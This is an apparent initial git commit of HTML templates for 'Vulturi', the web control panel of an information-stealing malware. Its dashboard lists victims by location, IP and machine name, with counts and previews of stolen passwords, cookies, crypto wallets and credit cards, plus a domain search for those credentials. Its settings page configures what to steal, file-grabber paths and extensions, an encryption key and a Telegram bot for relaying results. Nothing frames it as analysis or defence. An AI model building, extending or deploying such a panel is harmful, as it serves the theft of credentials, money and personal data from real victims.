initial commit

This commit is contained in:
i2p
2026-08-27 11:02:04 -06:00
commit 040cb49761
531 changed files with 3266 additions and 0 deletions
Binary file not shown.
Binary file not shown.
Binary file not shown.
+95
View File
@@ -0,0 +1,95 @@
<!-- Coded by [email protected] -->
<html lang="en">
<head>
<meta charset="utf-8">
<title>Vulturi | Cookie converter</title>
<link rel="icon" type="image/png" href="{{ url_for('static', filename='images/favicon.png') }}"/>
<link href="{{ url_for('static', filename='css/main.css') }}" rel="stylesheet">
<link href="{{ url_for('static', filename='css/materialize.css') }}" rel="stylesheet">
<link href="{{ url_for('static', filename='css/material-icons.css') }}" rel="stylesheet">
<script src="{{ url_for('static', filename='js/converter.js') }}"></script>
<script src="{{ url_for('static', filename='js/materialize.js') }}"></script>
</head>
<body>
<!-- Account Dropdown Structure -->
<ul id="account_dropdown" class="dropdown-content">
<li><a href="#"><span class="material-icons mi">admin_panel_settings</span> Logged as: {{ username }}</a></li>
<li><a href="settings"><span class="material-icons mi">settings</span> Account settings</a></li>
<li><a href="api/logout"><span class="material-icons mi">exit_to_app</span> Log off</a></li>
</ul>
<!-- DESKTOP NAVBAR -->
<nav class="black" style="padding: 0px 10px; position: fixed; z-index: 2;">
<div class="nav-wrapper">
<a href="#" class="brand-logo">
<span class="material-icons md-36 mi">visibility</span> Vulturi</a>
<a href="#" class="sidenav-trigger" data-target="mobile-nav">
<span class="material-icons mi">menu</span>
</a>
<ul class="right hide-on-med-and-down ">
<li><a href="dashboard"><span class="material-icons mi">dashboard</span> Dashboard</a></li>
<li><a href="statistics"><span class="material-icons mi">pie_chart</span> Statistics</a></li>
<li><a href="converter"><span class="material-icons mi">settings_input_svideo</span> Cookie converter</a></li>
<li><a href="#" class="dropdown-trigger" data-target="account_dropdown"><span class="material-icons mi">account_circle</span> Account</a></li>
</ul>
</div>
</nav>
<!-- MOBILE NAVBAR -->
<ul class="sidenav" id="mobile-nav">
<li><a href="dashboard"><span class="material-icons mi">dashboard</span> Dashboard</a></li>
<li><a href="statistics"><span class="material-icons mi">pie_chart</span> Statistics</a></li>
<li><a href="converter"><span class="material-icons mi">settings_input_svideo</span> Cookie converter</a></li>
<li><a href="settings"><span class="material-icons mi">settings</span> Settings</a></li>
<li><a href="api/logout"><span class="material-icons mi">exit_to_app</span> Log off</a></li>
</ul>
<div class="row" style="position: relative; top: 80px; width: 100%; height: 60%;">
<div class="col s12 m6">
<div class="grey darken-4 card hoverable">
<div class="card-content">
<!-- NETSCAPE COOKIES TEXT AREA -->
<div class="row" style="min-height: 50%;">
<form class="col s12">
<div class="row">
<div class="input-field col s12">
<textarea id="netscape_cookies" onchange="RunConverter();" class="white-text materialize-textarea"></textarea>
<label for="netscape_cookies">Netscape cookies format</label>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
<div class="col s12 m6">
<div class="grey darken-4 card hoverable">
<div class="card-content">
<!-- JSON COOKIES TEXT AREA -->
<div class="row" style="min-height: 50%;">
<form class="col s12">
<div class="row">
<div class="input-field col s12">
<textarea id="json_cookies" class="white-text materialize-textarea"></textarea>
<label for="json_cookies">Json cookies format</label>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
+286
View File
@@ -0,0 +1,286 @@
<!-- Coded by [email protected] -->
<html lang="en">
<head>
<meta charset="utf-8">
<title>Vulturi | Dashboard</title>
<link rel="icon" type="image/png" href="{{ url_for('static', filename='images/favicon.png') }}"/>
<link href="{{ url_for('static', filename='css/main.css') }}" rel="stylesheet">
<link href="{{ url_for('static', filename='css/materialize.css') }}" rel="stylesheet">
<link href="{{ url_for('static', filename='css/dashboard.css') }}" rel="stylesheet">
<link href="{{ url_for('static', filename='css/materialize.css') }}" rel="stylesheet">
<link href="{{ url_for('static', filename='css/material-icons.css') }}" rel="stylesheet">
<script>let username = "{{ username }}";</script>
<script src="{{ url_for('static', filename='js/dashboard.js') }}"></script>
<script src="{{ url_for('static', filename='js/sweetalert.js') }}"></script>
<script src="{{ url_for('static', filename='js/materialize.js') }}"></script>
</head>
<body>
<!-- Account Dropdown Structure -->
<ul id="account_dropdown" class="dropdown-content">
<li><a href="#"><span class="material-icons mi">admin_panel_settings</span> Logged as: {{ username }}</a></li>
<li><a href="settings"><span class="material-icons mi">settings</span> Account settings</a></li>
<li><a href="api/logout"><span class="material-icons mi">exit_to_app</span> Log off</a></li>
</ul>
<!-- Sort Dropdown Structure -->
<ul id="sort_dropdown" class="dropdown-content">
<li><a onclick="SortTable('count');">
<span class="material-icons mi">account_balance</span> Sort by data count</a></li>
<li><a onclick="SortTable('date');">
<span class="material-icons mi">date_range</span> Sort by upload date</a></li>
<li><a onclick="SortTable('country');">
<span class="material-icons mi">public</span> Sort by country name</a></li>
<li class="divider" tabindex="-1"></li>
<li class="center row">
<p class="col">
Reverse results:<p>
<div class="right switch col s12">
<label>
Off
<input id="sort_reverse" type="checkbox">
<span class="lever"></span>
On
</label>
</div>
</li>
</ul>
<!-- DESKTOP NAVBAR -->
<nav class="black" style="padding: 0px 10px; position: fixed; z-index: 2;">
<div class="nav-wrapper">
<a href="#" class="brand-logo">
<span class="material-icons md-36 mi">visibility</span> Vulturi</a>
<a href="#" class="sidenav-trigger" data-target="mobile-nav">
<span class="material-icons mi">menu</span>
</a>
<ul class="right hide-on-med-and-down ">
<li><a href="#" class="dropdown-trigger" data-target="sort_dropdown"><span class="material-icons mi">sort</span> Sort</a></li>
<li><a href="dashboard"><span class="material-icons mi">dashboard</span> Dashboard</a></li>
<li><a href="statistics"><span class="material-icons mi">pie_chart</span> Statistics</a></li>
<li><a href="converter"><span class="material-icons mi">settings_input_svideo</span> Cookie converter</a></li>
<li><a href="#" class="dropdown-trigger" data-target="account_dropdown"><span class="material-icons mi">account_circle</span> Account</a></li>
</ul>
</div>
</nav>
<!-- MOBILE NAVBAR -->
<ul class="sidenav" id="mobile-nav">
<li><a href="dashboard"><span class="material-icons mi">dashboard</span> Dashboard</a></li>
<li><a href="statistics"><span class="material-icons mi">pie_chart</span> Statistics</a></li>
<li><a href="converter"><span class="material-icons mi">settings_input_svideo</span> Cookie converter</a></li>
<li><a href="settings"><span class="material-icons mi">settings</span> Settings</a></li>
<li><a href="api/logout"><span class="material-icons mi">exit_to_app</span> Log off</a></li>
</ul>
<div class="row" style="position: relative; top: 80px;">
<!-- LOGS COUNT -->
<div class="col s12 m3">
<div class="card black z-depth-3 hoverable">
<div class="card-content white-text">
<span class="card-title">
Logs count
<span class="material-icons md-48 right">analytics</span>
<br>
<h3>{{ counter_reports }}</h3>
</span>
</div>
</div>
</div>
<!-- WALLETS COUNT -->
<div class="col s12 m3">
<div class="card black z-depth-3 hoverable">
<div class="card-content white-text">
<span class="card-title">
Wallets count
<span class="material-icons md-48 right">account_balance_wallet</span>
<br>
<h3>{{ counter_wallets }}</h3>
</span>
</div>
</div>
</div>
<!-- PASSWORDS COUNT -->
<div class="col s12 m3">
<div class="card black z-depth-3 hoverable">
<div class="card-content white-text">
<span class="card-title">
Passwords count
<span class="material-icons md-48 right">vpn_key</span>
<br>
<h3>{{ counter_passwords }}</h3>
</span>
</div>
</div>
</div>
<!-- CREDIT CARDS COUNT -->
<div class="col s12 m3">
<div class="card black z-depth-3 hoverable">
<div class="card-content white-text">
<span class="card-title">
Credit cards count
<span class="material-icons md-48 right">credit_card</span>
<br>
<h3>{{ counter_credit_cards }}</h3>
</span>
</div>
</div>
</div>
</div>
<!-- Preview modal structure -->
<div id="modal_preview" class="grey darken-4 white-text modal modal-fixed-footer">
<div class="modal-content">
<h4><span class="material-icons md-36 mi">search</span> Preview log</h4>
<h5>
<span class="material-icons md-36 mi">account_balance</span>
Counter:
</h5>
<p id="preview_counter_wallets"></p>
<p id="preview_counter_passwords"></p>
<p id="preview_counter_cookies"></p>
<p id="preview_counter_credit_cards"></p>
<p id="preview_counter_autofill"></p>
<p id="preview_counter_history"></p>
<p id="preview_counter_grabber"></p>
<h5>
<span class="material-icons md-36 mi">memory</span>
OS/Hardware:
</h5>
<p id="preview_info_screen"></p>
<p id="preview_info_ram"></p>
<p id="preview_info_cpu_name"></p>
<p id="preview_info_gpu_name"></p>
<p id="preview_info_cpu_id"></p>
<p id="preview_info_disk_id"></p>
<p id="preview_info_manufacturer"></p>
<br>
<p id="preview_info_public_ip"></p>
<p id="preview_info_local_ip"></p>
<p id="preview_info_gateway_ip"></p>
<p id="preview_info_bssid"></p>
<br>
<p id="preview_info_power_adapter"></p>
<p id="preview_info_battery_percentage"></p>
<br>
<p id="preview_info_os_name"></p>
<p id="preview_info_os_username"></p>
<p id="preview_info_os_machinename"></p>
<h5>
<span class="material-icons md-36 mi">public</span>
Domains info:
</h5>
<!-- PASSWORDS LIST -->
<div class="row">
<div class="col s6">
<div class="row">
<div class="input-field col s12">
<textarea id="preview_passwords_list" class="materialize-textarea white-text"></textarea>
<label for="preview_passwords_list">Passwords list</label>
</div>
</div>
</div>
<!-- COOKIES LIST -->
<div class="col s6">
<div class="row">
<div class="input-field col s12">
<textarea id="preview_cookies_list" class="materialize-textarea white-text"></textarea>
<label for="preview_cookies _list">Cookies list</label>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer grey darken-3">
<a id="preview_delete_button" href="#!" class="waves-effect waves-red btn-flat red white-text">Delete</a>
<a id="preview_download_button" href="#!" class="waves-effect waves-light btn-flat teal white-text">Download</a>
<a href="#!" class="modal-close waves-effect waves-light btn-flat blue white-text">Close</a>
</div>
</div>
<!-- Sort and search -->
<div id="search_block" class="hoverable">
<div class="row">
<div class="col s12">
<div class="input-field">
<i class="material-icons prefix">search</i>
<input id="search_input" onchange="SearchDomains();" id="icon_prefix" type="text" class="white-text" placeholder="Example: paypal.com, blockchain.com">
<label for="icon_prefix">Search domains in passwords and cookies</label>
</div>
</div>
</div>
</div>
<!-- LOGS TABLE -->
<table id="logs_table" class="highlight bordered centered white-text">
<thead class="black">
<tr>
<th><span class="material-icons mi">gps_fixed</span> Location</th>
<th><span class="material-icons mi">account_box</span> Username</th>
<th><span class="material-icons mi">laptop</span> Compname</th>
<th><span class="material-icons mi">today</span> Upload Date</th>
<th><span class="material-icons mi">comment</span> Comment</th>
<th><span class="material-icons mi">settings</span> Actions</th>
</tr>
</thead>
<tbody class="grey darken-4">
{% for report in reports %}
<tr>
<td class="tooltipped" data-position="bottom" data-tooltip="IP: {{ report.geo_data.ip_address }}">
<img src="{{ url_for('static', filename='images/flags/' + report.geo_data.iso_code + '.svg') }}" id="country_flag">
{{ report.geo_data.country + ", " + report.geo_data.city}}</td>
<td>{{ report.information.os.compname }}</td>
<td>{{ report.information.os.username }}</td>
<td>{{ report.add_time }}</td>
<td><input id="COMMENT_INPUT_{{ report.id }}" class="input-field white-text" value="{{ report.comment }}" placeholder="Enter comment here" type="text"></td>
<!-- ACTION BUTTONS -->
<td>
<!-- EDIT COMMENT -->
<a class="purple darken-2 waves-effect waves-light btn-floating tooltipped"
data-position="bottom" data-tooltip="Change report comment"
onclick="CommentReport({{ report.id }});">
<span class="material-icons mi">note_add</span>
</a>
<!-- PREVIEW BUTTON -->
<a class="amber darken-3 waves-effect waves-light btn-floating tooltipped"
data-position="bottom" data-tooltip="Information"
onclick="PreviewReport({{ report.id }}, this);">
<span class="material-icons mi">preview</span>
</a>
<!-- DOWNLOAD BUTTON -->
<a class="teal accent-4 waves-effect waves-light btn-floating tooltipped"
data-position="bottom" data-tooltip="Download archive"
href="api/get_report?id={{ report.id }}">
<span class="material-icons mi">get_app</span>
</a>
<!-- DELETE BUTTON -->
<a class="red accent-4 waves-effect waves-light btn-floating tooltipped"
data-position="bottom" data-tooltip="Delete report from server"
onclick="DeleteReport({{ report.id }}, this);">
<span class="material-icons mi">delete_forever</span>
</a>
</td>
</tr>
{% endfor %}
</tbody>
</table>
</body>
</html>
+23
View File
@@ -0,0 +1,23 @@
<!-- Coded by [email protected] -->
<html lang="en">
<head>
<meta charset="utf-8">
<title>Vulturi | Login</title>
<link href="{{ url_for('static', filename='css/login.css') }}" rel="stylesheet">
<script src="{{ url_for('static', filename='js/login.js') }}" type="text/javascript"></script>
<script src="{{ url_for('static', filename='js/sweetalert.js') }}"></script>
<link rel="icon" type="image/png" href="{{ url_for('static', filename='images/favicon.png') }}"/>
</head>
<body>
<div class="login-page">
<div class="form">
<input type="text" placeholder="username" id="username_input"/>
<input type="password" placeholder="password" id="password_input"/>
<button onclick="Login();">login</button>
</div>
</div>
<div id="background"></div>
</body>
</html>
+238
View File
@@ -0,0 +1,238 @@
<!-- Coded by [email protected] -->
<html lang="en">
<head>
<meta charset="utf-8">
<title>Vulturi | Settings</title>
<link rel="icon" type="image/png" href="{{ url_for('static', filename='images/favicon.png') }}"/>
<link href="{{ url_for('static', filename='css/main.css') }}" rel="stylesheet">
<link href="{{ url_for('static', filename='css/materialize.css') }}" rel="stylesheet">
<link href="{{ url_for('static', filename='css/material-icons.css') }}" rel="stylesheet">
<script src="{{ url_for('static', filename='js/settings.js') }}"></script>
<script src="{{ url_for('static', filename='js/materialize.js') }}"></script>
</head>
<body>
<!-- Account Dropdown Structure -->
<ul id="account_dropdown" class="dropdown-content">
<li><a href="#"><span class="material-icons mi">admin_panel_settings</span> Logged as: {{ username }}</a></li>
<li><a href="settings"><span class="material-icons mi">settings</span> Account settings</a></li>
<li><a href="api/logout"><span class="material-icons mi">exit_to_app</span> Log off</a></li>
</ul>
<!-- DESKTOP NAVBAR -->
<nav class="black" style="padding: 0px 10px; position: fixed; z-index: 2;">
<div class="nav-wrapper">
<a href="#" class="brand-logo">
<span class="material-icons md-36 mi">visibility</span> Vulturi</a>
<a href="#" class="sidenav-trigger" data-target="mobile-nav">
<span class="material-icons mi">menu</span>
</a>
<ul class="right hide-on-med-and-down ">
<li><a href="dashboard"><span class="material-icons mi">dashboard</span> Dashboard</a></li>
<li><a href="statistics"><span class="material-icons mi">pie_chart</span> Statistics</a></li>
<li><a href="converter"><span class="material-icons mi">settings_input_svideo</span> Cookie converter</a></li>
<li><a href="#" class="dropdown-trigger" data-target="account_dropdown"><span class="material-icons mi">account_circle</span> Account</a></li>
</ul>
</div>
</nav>
<!-- MOBILE NAVBAR -->
<ul class="sidenav" id="mobile-nav">
<li><a href="dashboard"><span class="material-icons mi">dashboard</span> Dashboard</a></li>
<li><a href="statistics"><span class="material-icons mi">pie_chart</span> Statistics</a></li>
<li><a href="converter"><span class="material-icons mi">settings_input_svideo</span> Cookie converter</a></li>
<li><a href="settings"><span class="material-icons mi">settings</span> Settings</a></li>
<li><a href="api/logout"><span class="material-icons mi">exit_to_app</span> Log off</a></li>
</ul>
<div class="row" style="position: relative; top: 80px;">
<!-- Change password -->
<div class="col s12 m6">
<div class="card hoverable col s12" style="padding: 40px;">
<div class="card-content">
<!-- Current password -->
<div class="input-field col s12 tooltipped" style="top: 5px;"
data-position="left" data-tooltip="Current password">
<input id="curr_pwd_input" type="password" class="validate">
<label for="curr_pwd_input">Please enter your current password</label>
</div>
<!-- New password -->
<div class="input-field col s12 tooltipped" style="top: 5px;"
data-position="left" data-tooltip="New password">
<input id="new_pwd_input1" type="password" class="validate">
<label for="new_pwd_input1">Please enter your new password</label>
</div>
<!-- New password confirm -->
<div class="input-field col s12 tooltipped" style="top: 5px;"
data-position="left" data-tooltip="Repeat new password">
<input id="new_pwd_input2" type="password" class="validate">
<label for="new_pwd_input2">Please confirm your new password</label>
</div>
<!-- Change password button -->
<a class="btn teal waves-effect waves-green col s12" onclick="ChangePassword();" style="margin-top: 10px;">
<span class="material-icons mi left">queue</span>
Change password
</a>
</div>
</div>
</div>
<!-- Set telegram API bot token -->
<div class="col s12 m6">
<div class="card hoverable col s12" style="padding: 40px;">
<div class="card-content">
<!-- Token input -->
<div class="input-field col s12 tooltipped" style="top: 5px;"
data-position="left" data-tooltip="Telegram bot token">
<input value="{{ telegram_token }}" id="telegram_token_input" type="text" class="validate">
<label for="telegram_token_input">Please enter your TelegramBOT API token</label>
</div>
<!-- Chatd ID's input -->
<div class="input-field col s12 tooltipped" style="top: 5px;"
data-position="left" data-tooltip="Chat ID">
<input value="{{ ids_string }}" id="telegram_ids_input" type="text" class="validate">
<label for="telegram_ids_input">Please enter your chat id. Example: 123213, 243619, ...</label>
</div>
<!-- Save token button -->
<a class="btn teal waves-effect waves-green col s12" onclick="SetTelegramBot();" style="margin-top: 10px;">
<span class="material-icons mi left">flight</span>
Save telegram api bot token
</a>
<!-- Delete token button -->
<a class="btn red waves-effect waves-red col s12" onclick="DelTelegramBot();" style="margin-top: 10px;">
<span class="material-icons mi left">delete_sweep</span>
Delete telegram api bot token
</a>
</div>
</div>
</div>
</div>
<div class="row" style="position: relative; top: 80px;">
<!-- Change encryption key -->
<div class="col s12 m6">
<div class="card hoverable col s12" style="padding: 40px;">
<div class="card-content">
<!-- Current key -->
<div class="input-field col s12 tooltipped" style="top: 5px;"
data-position="left" data-tooltip="Current encryption key">
<input value="{{ rc4_key }}" id="curr_encr_key_input" type="text" class="validate">
<label for="curr_encr_key_input">Encryption key</label>
</div>
<!-- Change encryption key button -->
<a class="btn teal waves-effect waves-green col s12" onclick="ChangeEncrypionKey();" style="margin-top: 10px;">
<span class="material-icons mi left">vpn_key</span>
Change encryption key
</a>
</div>
</div>
</div>
<!-- Toggle stealing apps -->
<div class="col s12 m6">
<div class="card hoverable col s12" style="padding: 40px;">
<div class="card-content">
<div class="input-field col s12">
<select id="toggle_stealing_options" multiple>
{% for app in target_apps_options %}
<option {{ app.checked }} value="{{ app.name }}">{{ app.description }}</option>
{% endfor %}
</select>
<label>Select data to steal</label>
</div>
<!-- Save stealing apps button -->
<a class="btn teal waves-effect waves-green col s12" onclick="SaveStealingData();" style="margin-top: 10px;">
<span class="material-icons mi left">apps</span>
Save apps configuration
</a>
</div>
</div>
</div>
</div>
<div class="row" style="position: relative; top: 80px;">
<!-- TABLE WITH PATHS -->
<div class="col s12 m6">
<div class="card hoverable">
<div class="card-content">
<table id="stats_table" class="highlight">
<thead>
<tr>
<th>#</th>
<th><span class="material-icons mi">find_in_page</span> Grabber scanning path</th>
<th><span class="material-icons mi">settings</span> Actions</th>
</tr>
</thead>
<tbody>
{% for i, path in table_paths %}
<tr>
<td>{{ i + 1 }}</td>
<td>{{ path }}</td>
<td>
<!-- DELETE BUTTON -->
<a style="right: 10%; width: 90%;" class="red center accent-4 waves-effect waves-red btn right tooltipped"
data-position="bottom" data-tooltip="Delete path from grabber"
onclick="DeleteGrabberPath('{{ path }}', this);">
<span class="material-icons mi left">delete_forever</span>
Delete
</a>
</td>
</tr>
{% endfor %}
</tbody>
</table>
</div>
</div>
</div>
<div class="col s12 m6">
<div class="card hoverable col s12" style="padding: 40px;">
<div class="card-content">
<!-- grabber scanning paths -->
<div class="input-field col s12 tooltipped" style="top: 5px;"
data-position="left" data-tooltip="Available variables:<br><br>%UserProfile%<br>%RoamingAppdata%<br>%LocalAppdata%<br>%Desktop%<br>%Documents%<br>%Pictures%<br>%SystemDrive%<br>">
<input id="path_input" type="text" class="validate">
<label for="path_input">New grabber scanning path</label>
</div>
<a class="btn teal waves-effect waves-green col s12" onclick="AddGrabberPath();" style="margin-top: 10px;">
<span class="material-icons mi left">queue</span>
Add new path
</a>
<!-- grabber extensions textarea -->
<textarea id="extensions_area" class="col s12 materialize-textarea" style="margin-top: 50px; margin-left: 10px; width: 97%;">{{ extensions_area }}</textarea>
<label for="extensions_area" style="margin-left: 10px;">Grabber extensions list</label>
<div class="input-field col s12" style="top: 10px;">
<input value="{{ max_file_size }}" id="size_input" type="text" class="validate">
<label for="size_input">Max file size in bytes</label>
</div>
<a class="btn teal waves-effect waves-green col s12" onclick="SetExtensions();" style="margin-top: 10px;">
<span class="material-icons mi left">save</span>
Save extensions list and size
</a>
</div>
</div>
</div>
</div>
</body>
</html>
+110
View File
@@ -0,0 +1,110 @@
<!-- Coded by [email protected] -->
<html lang="en">
<head>
<meta charset="utf-8">
<title>Vulturi | Statistics</title>
<link rel="icon" type="image/png" href="{{ url_for('static', filename='images/favicon.png') }}"/>
<link href="{{ url_for('static', filename='css/main.css') }}" rel="stylesheet">
<link href="{{ url_for('static', filename='css/jvectormap.css') }}" rel="stylesheet">
<link href="{{ url_for('static', filename='css/materialize.css') }}" rel="stylesheet">
<link href="{{ url_for('static', filename='css/material-icons.css') }}" rel="stylesheet">
<script src="{{ url_for('static', filename='js/jquery.js') }}"></script>
<script src="{{ url_for('static', filename='js/statistics.js') }}"></script>
<script src="{{ url_for('static', filename='js/jvectormap.js') }}"></script>
<script src="{{ url_for('static', filename='js/world_mill.js') }}"></script>
<script src="{{ url_for('static', filename='js/materialize.js') }}"></script>
</head>
<body style="background-color: #111111;">
<!-- Account Dropdown Structure -->
<ul id="account_dropdown" class="dropdown-content">
<li><a href="#"><span class="material-icons mi">admin_panel_settings</span> Logged as: {{ username }}</a></li>
<li><a href="settings"><span class="material-icons mi">settings</span> Account settings</a></li>
<li><a href="api/logout"><span class="material-icons mi">exit_to_app</span> Log off</a></li>
</ul>
<!-- DESKTOP NAVBAR -->
<nav class="black" style="padding: 0px 10px; position: fixed; z-index: 2;">
<div class="nav-wrapper">
<a href="#" class="brand-logo">
<span class="material-icons md-36 mi">visibility</span> Vulturi</a>
<a href="#" class="sidenav-trigger" data-target="mobile-nav">
<span class="material-icons mi">menu</span>
</a>
<ul class="right hide-on-med-and-down ">
<li><a href="dashboard"><span class="material-icons mi">dashboard</span> Dashboard</a></li>
<li><a href="statistics"><span class="material-icons mi">pie_chart</span> Statistics</a></li>
<li><a href="converter"><span class="material-icons mi">settings_input_svideo</span> Cookie converter</a></li>
<li><a href="#" class="dropdown-trigger" data-target="account_dropdown"><span class="material-icons mi">account_circle</span> Account</a></li>
</ul>
</div>
</nav>
<!-- MOBILE NAVBAR -->
<ul class="sidenav" id="mobile-nav">
<li><a href="dashboard"><span class="material-icons mi">dashboard</span> Dashboard</a></li>
<li><a href="statistics"><span class="material-icons mi">pie_chart</span> Statistics</a></li>
<li><a href="converter"><span class="material-icons mi">settings_input_svideo</span> Cookie converter</a></li>
<li><a href="settings"><span class="material-icons mi">settings</span> Settings</a></li>
<li><a href="api/logout"><span class="material-icons mi">exit_to_app</span> Log off</a></li>
</ul>
<!-- WORLD MAP CARD -->
<div class="row" style="position: relative; top: 80px; width: 100%; height: 60%;">
<div class="col s12 m6">
<div class="card hoverable">
<div class="card-image">
<div id="world-map"></div>
<span class="card-title">World map</span>
</div>
<div class="card-content">
The map shows statistics for all countries for all time
</div>
</div>
</div>
<!-- WORLD STATISTICS CARD AND TABLE -->
<div class="col s12 m6">
<div class="card hoverable">
<div class="card-content">
<table id="stats_table" class="highlight">
<thead>
<tr>
<th>Flag</th>
<th>ISO</th>
<th>Country name</th>
<th>Reports count</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
{% for item in stats %}
<tr>
<td><img src="{{ url_for('static', filename='images/flags/' + stats[item][0].iso_code + '.svg') }}" id="country_flag" style="margin-left: 0px;"></td>
<td>{{ stats[item][0].iso_code }}</td>
<td>{{ stats[item][0].country }}</td>
<td>{{ stats[item]|length }}</td>
<td>{{ (stats[item]|length / logs_count * 100)|round|int }}%</td>
</tr>
{% endfor %}
</tbody>
</table>
</div>
</div>
</div>
</div>
</body>
</html>